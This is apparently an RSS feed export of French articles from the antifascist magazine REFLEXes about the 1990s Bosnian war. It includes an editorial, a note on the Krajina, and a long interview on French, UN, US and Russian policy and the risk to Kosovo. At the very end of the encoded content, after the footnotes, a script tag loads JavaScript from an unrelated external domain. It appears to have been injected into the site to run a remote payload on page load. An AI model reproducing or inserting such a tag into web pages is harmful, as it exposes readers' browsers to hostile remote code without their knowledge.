<p>&laquo;&nbsp;L&rsquo;indifférence est une complicité. Il nous faut réagir et ne pas joindre le désarroi intellectuel à la confusion politique. Quelques faits bruts : depuis plus de deux ans, la coalition serbe au pouvoir en Serbie et au Monténégro a mené une guerre de conquête et de séparation &laquo;&nbsp;ethnique&nbsp;&raquo;, sur les territoires slovènes, croates et bosniaques. Cette guerre non conventionnelle menée par le double rideau des milices et de l&rsquo;armée &laquo;&nbsp;fédérale&nbsp;&raquo;, accomplit un projet abject de &laquo;&nbsp;purification ethnique&nbsp;&raquo; afin de parvenir à dominer un espace continu &laquo;&nbsp;ethniquement pur&nbsp;&raquo;. Cette politique est la conséquence d&rsquo;un travail de mobilisation idéologique nationaliste et populiste mené en Yougoslavie depuis dix ans, quand les Serbes commencèrent une politique d&rsquo;apartheid au Kosovo où vivent 80% d&rsquo;Albanais, et amplifiée par Milosevic depuis 1986. L&rsquo;évidence comme l&rsquo;importance de ces faits nous sont masqués par un traitement de l&rsquo;information reprenant souvent purement et simplement la propagande du régime de Belgrade. Au nom de la prétendue complexité de la situation actuelle et de l&rsquo;histoire des Balkans, l&rsquo;Occident joue les Ponce Pilate bienveillants, ferme les yeux sur des atrocités sans nom et excuse son impuissance en affirmant la fatalité du conflit et la responsabilité de tous. Or, l&rsquo;actuel conflit n&rsquo;est pas une guerre civile, puisque la Bosnie est un état reconnu par la communauté internationale ; ce n&rsquo;est pas une guerre ethnique, puisqu&rsquo;une partie des Serbes de Bosnie luttent avec Musulmans et Croates au nom de l&rsquo;idée bosniaque.&nbsp;&raquo;</p>
<p>L&rsquo;éditorial de cette brochure <em>Bosnie : réagir</em> marque le ton des articles. Informations, réflexions et analyses sur cette guerre permettent de mieux en comprendre les enjeux et les conséquences.</p>
<p>Prix 30 F (disponible à REFLEX).</p>
<p><em>Mis en ligne le 9 décembre 2006</em></p>
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		<title>REFLEX étranger : edito et sommaire</title>
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		<pubDate>Wed, 26 Feb 2003 11:22:17 +0000</pubDate>
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				<content:encoded><![CDATA[<p>Pourvu que les Serbes restent ! Pourvu qu’ils ne partent pas !» Le cri angoissé qui fait suite à la reprise de la Krajina n’a pas été poussé à Belgrade. Ni à Pale. Il vient de la campagne anti-guerre (ARK) de Zagreb, qui a immédiatement compris les futurs intérêts en jeu.</p>
<p>C’est vrai, l’établissement de la République serbe autoproclamée de Knin a été une catastrophe, humanitaire et politique ; la Krajina, avec la Slovénie, a été en 1991 le premier champ d’essai de la «purification ethnique». Sa chute, sur ce plan, est donc une défaite du fascisme grand-serbe. Mais la suite peut être aussi dangereuse. De façon plus «soft», toutes proportions gardées, le régime de Zagreb effectue le même nettoyage.</p>
<p>«Qu’ils ne partent pas !» Si la Krajina devenait «pure croate», les partitions ethniques seraient tout aussi légitimées et le danger aussi grand pour des guerres futures. 30 000 Serbes continuent à vivre à Zagreb, quasiment en état d’apartheid, mais ils résistent, parfois devant les tribunaux, et ils gagnent petit à petit leurs droits de citoyens. Ce droit des nationalités sera le premier garant des libertés démocratiques de l’après-guerre, dans une visée citoyenne. Si rien n’est fait, on ne fera que préparer la prochaine guerre.</p>
<p>Paru dans REFLEXes N°47, oct./nov. 1995</p>
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		<title>Apartheid et fascisme au cœur de l’Europe</title>
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		<pubDate>Thu, 06 Feb 2003 10:41:28 +0000</pubDate>
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		<description><![CDATA[La mort de deux casques bleus a relancé le débat sur le retrait des forces de l’ONU et notamment des Français qui ont plusieurs milliers d’hommes sur le terrain. Cette agitation n’est-elle pas destinée à reléguer au second plan l’incapacité des acteurs internationaux à faire appliquer le droit international, qu’ils ont eux-mêmes bafoué en laissant [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>La mort de deux casques bleus a relancé le débat sur le retrait des forces de l’ONU et notamment des Français qui ont plusieurs milliers d’hommes sur le terrain. Cette agitation n’est-elle pas destinée à reléguer au second plan l’incapacité des acteurs internationaux à faire appliquer le droit international, qu’ils ont eux-mêmes bafoué en laissant s’opérer le partage et la purification ethnique ? M. Patrick Lecorre, qui nous a accordé cet entretien début 1995 revient sur un ensemble d’éléments pour comprendre la situation et réfléchir à ses conséquences. P. Lecorre est membre de l’Assemblée européenne des Citoyens de Nantes. L’objectif de l’AEC<sup><a href="https://reflexes.samizdat.net/apartheid-et-fascisme-au-coeur-de-leurope/#footnote_0_127" id="identifier_0_127" class="footnote-link footnote-identifier-link" title="AEC 35 rue amiral Duchaffaux 44000 Nantes
AEC 21ter rue Voltaire 75011 Paris
">1</a></sup> est de reconstituer une Europe par le bas, par le dialogue entre citoyens et entre peuples.<br />
<strong>Scalp de Nantes : Comment s’est constitué votre groupe ?</strong><br />
</strong>L’AEC de Nantes s’est constituée sur le refus d’un nombre de citoyens de ce qui se passait en ex-Yougoslavie. C’était le début de la guerre et on essayait de comprendre. Dans un premier temps, notre réaction était surtout morale : nous refusions que 50 ans après la chute du nazisme, une guerre menée au nom d’une idéologie raciste et nazie éclate au cœur de l’Europe. L’origine du conflit, en effet, n’est pas le réveil de haines ancestrales mais le projet politique d’un pouvoir. Celui de Milosevic, de Belgrade, de la Serbie. (…) Il faut donc affirmer et réaffirmer qu’il s’agit bien là d’une guerre de conquête et de pillage au nom d’une idéologie, l’idéologie de la pureté de la Grande-Serbie. (…)</p>
<p><strong>Quels rôles ont tenu les grandes puissances et les institutions internationales comme I’ONU dans l’origine du conflit ?<br />
</strong>Le gouvernement français a sous-estimé ce qui était en train de se jouer en ex-Yougoslavie : tous les rapports qui lui arrivent passent par le quai d’Orsay dont les liens avec l’ex-Yougoslavie se faisaient essentiellement au travers des cercles du pouvoir serbe. C’était donc un filtre très important. (…) Puis très vite, il y a eu un parfait cynisme au nom de la raison d’État, par de petits ou grands calculs sur ce qui pouvait être profitable à la France politiquement et économiquement. On a donc jugé (autant à droite qu’à gauche) qu’il fallait préserver la Serbie car on a décidé que dans cette région du monde (région d’instabilité historique), il fallait un gendarme puissant et que ce gendarme devait être Milosevic. (…) Par contre je suis persuadé que l’État français et l’ensemble des hommes politiques considéraient que la Bosnie n’avait pas de droit à l’existence. Certes, c’était une République qui avait obtenu son indépendance, reconnue internationalement avec beaucoup de retard mais comme il s’agissait d’une République sans armée, sa fin ne serait l’affaire que de deux ou trois mois. La politique française n’a absolument pas imaginé la capacité de résistance de la population bosniaque et la défense d’un certain nombre de valeurs : conserver le sol et éviter de se faire massacrer, mais aussi défendre une conception de vie traditionnelle basée sur la tolérance (en Bosnie, depuis une cinquantaine d’années, il n’y a pas eu de problèmes majeurs entre les communautés). Après, la politique française a choisi la solution du plus fort, celle du meilleur gendarme. C’est une position traditionnelle puisqu’on va retrouver la même attitude au Rwanda. On choisit à un moment donné l’État le plus fort quels que soit par la suite ses actes et quel que soit le désastre politique que cela entraîne.</p>
<p>Au sein de l’ONU, dans un premier temps, il y a eu une bataille sur la question de la reconnaissance. (… ) Il existe une «fable», développée autant à gauche qu’à droite, qui prétend que la guerre a été provoquée par la reconnaissance prématurée de la Slovénie, de la Croatie et de la Bosnie. Celle-ci aurait poussé la Serbie à l’agression, par peur d’être seule et isolée. Au regard des dates, ça ne tient absolument pas debout. En effet ce n’est qu’après la destruction totale de Vukovar par les Serbes (soit six mois plus tard et après toute une série d’exactions) qu’il y a eu reconnaissance internationale de la Bosnie. Et rappelons que l’apartheid au Kosovo a commencé dès 1981. Depuis, les Serbes utilisent la direction de l’État yougoslave pour réduire tous les droits fondamentaux de la population du Kosovo. Bien sûr, il n’y a eu, à l’époque, aucune réaction internationale.</p>
<p>La reconnaissance très tardive de la Bosnie n’a pu qu’encourager et légitimer les Serbes. Ceux-ci ont en effet considéré que leur pari était gagné, qu’il n’y aurait pas ou peu de réaction à ce qu’ils faisaient. Quelques mois plus tard, il y a bien eu des réactions, voire même la décision d’intervenir militairement sous l’influence de l’Allemagne et des États-Unis. On disait qu’il n’était pas possible de laisser ce feu se développer au centre de l’Europe ; qu’il pourrait être trop dangereux (même si on avait fait le calcul d’une Grande-Serbie) et qu’il fallait intervenir. En fait une solution «politique» a été trouvée : la gestion humanitaire de la crise yougoslave.</p>
<p>Les questions politiques ont été évacuées ainsi que les enjeux et les conséquences possibles. Il fallait donc que la mission de l’ONU ne devienne pas une mission de «peace making» (faire la paix) mais une mission de «peace keeping» : c’est-à-dire de faire en sorte que la paix reste en place par le gel des territoires conquis par les Serbes. Il s’agissait de se placer entre les différentes armées. À cette époque, un terme a connu une grande fortune : celui de belligérant. Il permettait d’évacuer les problèmes politiques posés car il n’y avait plus ni d’agresseur ni d’agressé. Ce fut le moment du fameux voyage de F. Mitterrand à Sarajevo. Les habitants pensaient que F. Mitterrand venait pour protéger la ville et pour annoncer sa libération et celles des autres villes bosniaques assiégées. Mais en fait il est venu annoncer bien autre chose : le traitement humanitaire.</p>
<p><strong>Est-ce que l’humanitaire est un masque sous lequel les solutions politiques se décident, dans les antichambre du pouvoir ?<br />
</strong>(…) On ne peut pas condamner les organisations et les aides humanitaires envoyées sur place. Je pense à la population de Sarajevo. La ville est encerclée ; seul l’aéroport permet le ravitaillement. Mais une personne de Sarajevo que nous avions rencontrée rappelait : «C’est bien de nous envoyer de la farine, des graines pour que l’on puisse ouvrir des potagers dans nos jardins ou dans les parcs publics ; mais si on arrêtait de nous tuer, ça ne serait pas si mal. Si le siège était levé ce serait très bien». En bref, je pense que l’axe qui a été mis par les hommes politiques sur l’humanitaire n’est pas la même chose que l’action des ONG. Cet axe a servi à brouiller les cartes, à camoufler la réalité, à retarder le débat politique, qui est celui-ci : respecte-t-on, oui ou non le droit international ? Après la chute du nazisme, des textes avaient été élaborés et étaient devenus la règle commune des États. Aujourd’hui, le droit international est totalement bafoué. Le premier règlement du droit international dit qu’un pays internationalement reconnu a le droit de se défendre et pour ce faire d’être aidé par les autres nations. Sur ces deux points fondamentaux, le droit de pouvoir se défendre (c’est le débat sur la levée de l’embargo) et le droit d’être défendu (débat sur les frappes aériennes et les interventions militaires), des résolutions ont été adoptées par l’ONU. Mais à chaque fois, il s’agissait d’une mascarade. Une mascarade qui ne pouvait qu’encourager les nationalistes serbes et le régime de Belgrade.</p>
<p><strong>Aujourd’hui il y a trois grands blocs qui essayent de se partager la planète : les États-Unis, l’Europe et le Japon. Les États-Unis profitent-ils du conflit en ex-Yougoslavie pour affaiblir la construction européenne ?<br />
</strong>(…) Au début, les États-Unis avaient peu d’information. Mais très rapidement, le Département d’État américain a su et connu la gravité de la situation. (…) Les choix pris répondent à deux exigences. Premièrement, le désengagement (partagé et par les Républicains et par les Démocrates), lorsque les intérêts vitaux américains ne sont pas directement menacés. Et deuxièmement, les États-Unis craignent une Europe économiquement et politiquement forte. Pour eux, la situation yougoslave était une aubaine extraordinaire pour le cynisme politique : laisser se détruire l’idée de construction européenne par le pourrissement des divergences politiques qui existaient sur les Balkans et sur l’ex-Yougoslavie. Puis les Américains ont mesuré un très grand danger, celui de la déstabilisation généralisée de cette zone qui pouvait toucher la Grèce et la Turquie et donc la crise de l’Otan. (…) Les États-Unis ont donc considéré que le sort de la Bosnie ne valait pas l’éclatement de l’Otan et ils se sont donc ralliés au plan du groupe de contact. Aujourd’hui, l’appréciation américaine en est là, mais sa position peut changer, notamment s’il y a une explosion au Kosovo et contagion à la Macédoine, à la Grèce et à la Turquie. Dans ce cas de figure, les États-Unis considéreront que leurs intérêts vitaux sont en jeu.</p>
<p><strong>Le rôle de la Russie ?<br />
</strong>(…) La Russie a apporté des aides à la Serbie de Milosevic (livraison d’essence et d’armes en dépit de l’embargo), mais était absente des débats internationaux. C’est la France qui l’a réintroduite pour trouver une pression suffisante à la réalisation de ses plans politiques. Cela se traduit dans le dernier plan du groupe de contact, le plan 51-49 qui signifie 51% des territoires de Bosnie pour les Serbes et 49% pour les Bosniaques. On a utilisé la présence de la Russie dans le groupe de contact international pour faire pression sur Milosevic. Constatons les faits : toutes les fois qu’il y a eu la volonté d’avoir une position un peu plus ferme contre les Serbes, les Russes s’y sont opposés. Mais lorsque des interventions plus radicales ont été menées, notamment lorsque les avions serbes, qui avaient violé l’espace aérien bosniaque (il faut savoir que l’exclusion aérienne a été violée plus de 2000 fois), ont été abattus, les Russes ont reculé et ont déclaré que l’intervention était légitime. L’argument qui prétend qu’il n’est pas possible d’intervenir contre les Serbes parce que les Russes s’y opposent ne tient absolument pas la route. (…)</p>
<p><strong>Quelle analyse du traitement médiatique du conflit faites-vous ?<br />
</strong>On a assisté, au fil de ces trois ans, à un article sur six qui disait la vérité ou s’en approchait. Ce qui ne ressortait pas dans ce traitement médiatique (même les plus sérieux) c’était d’un côté la nature raciste de l’agression, de la destruction et, de l’autre côté, la nature de la résistance. (…) Les média parlent beaucoup de paix. Mais quelle paix ? (…) Les enjeux, les conséquences à court, moyen ou long terme ont été le plus souvent escamotés. (…)</p>
<p><strong>Quelles sont les évolutions possibles du conflit par rapport aux pays limitrophes (c’est-à-dire la Grèce, la Turquie, l’Albanie, la Bulgarie et la Macédoine) ?<br />
</strong>Le Kosovo est le point brûlant. La population est dans une situation de quasi esclavage. C’est plus que de l’apartheid. 90% de la population albanaise n’a plus de droits politiques, économiques, plus de droit à la santé… Pour le moment, la majorité de la population a jugé qu’elle n’avait pas les moyens de s’opposer par la force à la politique serbe. On est dans un espèce d’équilibre : d’un côté il y a l’oppression mais sans massacres massifs, et de l’autre côté il y a la population qui résiste civilement. Les Albanais du Kosovo craignent le jour où Milosevic aura stabilisé la situation en Bosnie. Il aura à ce moment-là les mains libres, militairement et politiquement, pour organiser l’expulsion et le massacre des Albanais. Dans ce cas on sait bien que l’Albanie interviendra et la Macédoine aussi. La Grèce, qui depuis le début du conflit soutient Milosevic au nom de l’orthodoxie, interviendra ensuite. Puis la Turquie fera de même : elle a toujours dit que si la Grèce intervenait, elle prendrait part au conflit aussitôt. (…)</p>
<p><strong>Quelles conséquences ce conflit peut-il avoir dans la construction européenne ?<br />
</strong>Il est probable qu’il ait des conséquences. Je pense que dans sa stratégie, F. Mitterrand voulait gêner l’Allemagne. Il considère que la réunification allemande ne peut qu’affaiblir le rôle de la France, au moins en Europe. (…). Plus généralement, la majeure partie des Européens pensaient que l’avenir politique du continent résidait dans la construction européenne et ce malgré son déficit politique, social et culturel. Mais avec cette guerre au centre de l’Europe et l’incapacité des gouvernements à y faire face de manière cohérente, on assiste à un reflux de l’idée européenne. L’Europe ne pourra reprendre un nouveau dynamisme que si elle est capable de se ressaisir sur la question bosniaque.</p>
<p><strong>Risque-t-on un éclatement de l’Europe ?<br />
</strong>L’éclatement est très difficile à prévoir. Je pense tout du moins à un gel de la situation. Mais le plus inquiétant réside dans l’avancée politique des forces anti-européennes. La Serbie de Milosevic, en mettant en avant la pureté du sol, la pureté du sang, la mono-culture contre la pluri-culture, la règle où la force l’emporte sur le droit, crée ou augmente une force anti-européenne.</p>
<p><strong>Cela aura-t-il des conséquences en France ?<br />
</strong>Je pense que ce feu qu’on a laissé se développer ne peut qu’encourager et légitimer les forces politiques qui veulent le repli identitaire, le repli national en opposant un passé idéalisé au futur incertain ou au progrès, la mono-culture contre la pluri-culture. On sait bien que les démocraties se sont couchées, pendant l’entre-deux-guerres, face au fascisme et au nazisme. Elles ont essayé de jouer avec ces forces et n’ont fait que creuser leur lit et laisser venir la Seconde Guerre mondiale. Ce qui, pour moi, est le plus révoltant, c’est le cynisme des gouvernements européens et leur incapacité à réagir. (…) Aujourd’hui, la montée des nouvelles intolérances (racistes, religieuses ou autres) se fait essentiellement en raison d’une crise politique majeure des sociétés européennes. Donc du rapport entre les citoyens et leurs représentations politiques. (…) Cela pose toutes les questions sur la citoyenneté. Nous pensons que la citoyenneté est un ensemble de droits et de devoirs vis-à-vis de la société. Dès que l’on commence à exclure une partie de la population, sur les questions économiques, de culture ou d’origine, on rentre dans ce processus d’éclatement de la citoyenneté. (…)</p>
<p><strong>Est-ce que le malheur bosniaque joue un rôle dans la montée de l’intégrisme islamique ? Est-ce que les pays intégristes ont un soutien fraternel ou calculé avec les Bosniaques ?<br />
</strong>Les gouvernements des pays intégristes ont eu un soutien très calculé avec les Bosniaques. C’est pour eux une tentative de prendre pied sur le territoire de Bosnie qui, historiquement, n’est pas considéré comme un territoire frère, mais laïc. Il y a un an, lorsque deux ou trois avions de Sarajevo désiraient partir pour le pèlerinage de la Mecque, Karadzic a immédiatement donné son feu vert. On sait aussi que l’aide humanitaire de l’Arabie-Saoudite ne connaît jamais aucun problème pour arriver en Bosnie. Cela sert la stratégie de Karadzic, son idéologie politique et sa propagande : «Vous voyez bien ce qu’il faut : c’est le partage entre l’islam d’un côté et les pays occidentaux orthodoxe ou chrétien de l’autre». La population bosniaque se sent isolée, abandonnée du monde. Elle est déracinée (un million de réfugiés) ou parquée dans certains quartiers des villes bosniaques assiégées. Cela explique le retour de la religion. Mais la déclaration de Sarajevo comme ville multiculturelle est basée sur des valeurs universelles. Elle montre qu’une majorité de la population dans les grandes villes de Bosnie refuse d’avoir comme avenir une société mono-culturelle, liée à une croyance religieuse. Combien de temps une population abandonnée, diminuée, aux conditions de vie extrêmement difficiles peut-elle tenir sans basculer dans un «gouffre», sans s’identifier, «se reconstruire» une réalité par rapport à l’islam ?</p>
<p>Je voudrais souligner deux autres éléments. Le premier : les conséquences, à long terme, de la situation en Bosnie mais aussi en Tchétchénie, peuvent être terribles. Ces drames pourraient accréditer l’idée qu’en Europe, il est possible de tuer des Musulmans sans l’intervention des gouvernements européens et sans mobilisation de l’opinion publique. Le second : il n’y a plus, aujourd’hui, la volonté, la créativité et le dynamisme politique pour penser la société autrement qu’en fonction du passé. C’est en partie la responsabilité des pseudo-spécialistes, des géopoliticiens et des géo-stratèges. Ils n’ont plus le progrès d’une société et de ses valeurs au centre de leurs réflexions et de leurs analyses, mais l’idée de l’existence de blocs historiques qui s’affronteraient éternellement. À partir de là, tous leurs conseils, leurs problématiques se résument ainsi : comment faire pour que cet affrontement soit victorieux ?<br />
Je voudrais tout de même relativiser ce que je suis en train de dire. Des éléments positifs existent. Ce sont entre autres les situations de l’Afrique du Sud, de l’Irlande et de la Palestine. On sent qu’il existe aussi des forces de progrès qui tentent de trouver des solutions positives. En regardant par exemple cette extraordinaire capacité de résistance des habitants de Sarajevo, on voit bien une force prête à se battre contre la montée du nouveau fascisme, des nouvelles intolérances. Seulement, ces forces se battent aujourd’hui dans les pires conditions. (…)</p>
<p><strong>Il existe une version complète de cet entretien ; pour ceux qui le désireraient, écrire au journal.<br />
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<p>Paru dans REFLEXes n° 46, mai 1995</p>
<ol class="footnotes"><li id="footnote_0_127" class="footnote">AEC 35 rue amiral Duchaffaux 44000 Nantes</p>
<p>AEC 21ter rue Voltaire 75011 Paris<br />
<strong></li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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